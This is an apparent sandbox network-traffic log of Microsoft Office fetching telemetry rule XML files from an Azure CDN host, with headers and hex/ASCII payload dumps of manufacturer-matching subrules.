2024-11-28 12:10:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 5028e0c8-f01e-0003-0a78-404453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121001Z-174f7845968l4kp6hC1EWRe8840000000ym0000000008a8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:01 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121001Z-174f7845968cpnpfhC1EWR3afc0000000y0g00000000662b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:01 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:01 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121001Z-174f784596886s2bhC1EWR743w0000000yd00000000073as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:01 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121003Z-174f7845968n2hr8hC1EWR9cag0000000xyg00000000a3gb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121003Z-174f7845968cdxdrhC1EWRg0en0000000yf0000000000uhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:03 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 9380d969-e01e-001f-534d-401633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121003Z-174f7845968nxc96hC1EWRspw80000000y30000000007c3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:03 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121003Z-174f7845968pf68xhC1EWRr4h80000000ypg000000004r6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:03 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121003Z-174f7845968px8v7hC1EWR08ng0000000yq0000000004mm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:06 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121006Z-174f7845968psccphC1EWRuz9s0000000yp0000000005mkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:06 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:06 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121006Z-174f7845968zgtf6hC1EWRqd8s0000000rag000000006yve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:06 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:06 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121006Z-174f7845968vqt9xhC1EWRgten0000000yb0000000009m1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:06 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:06 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
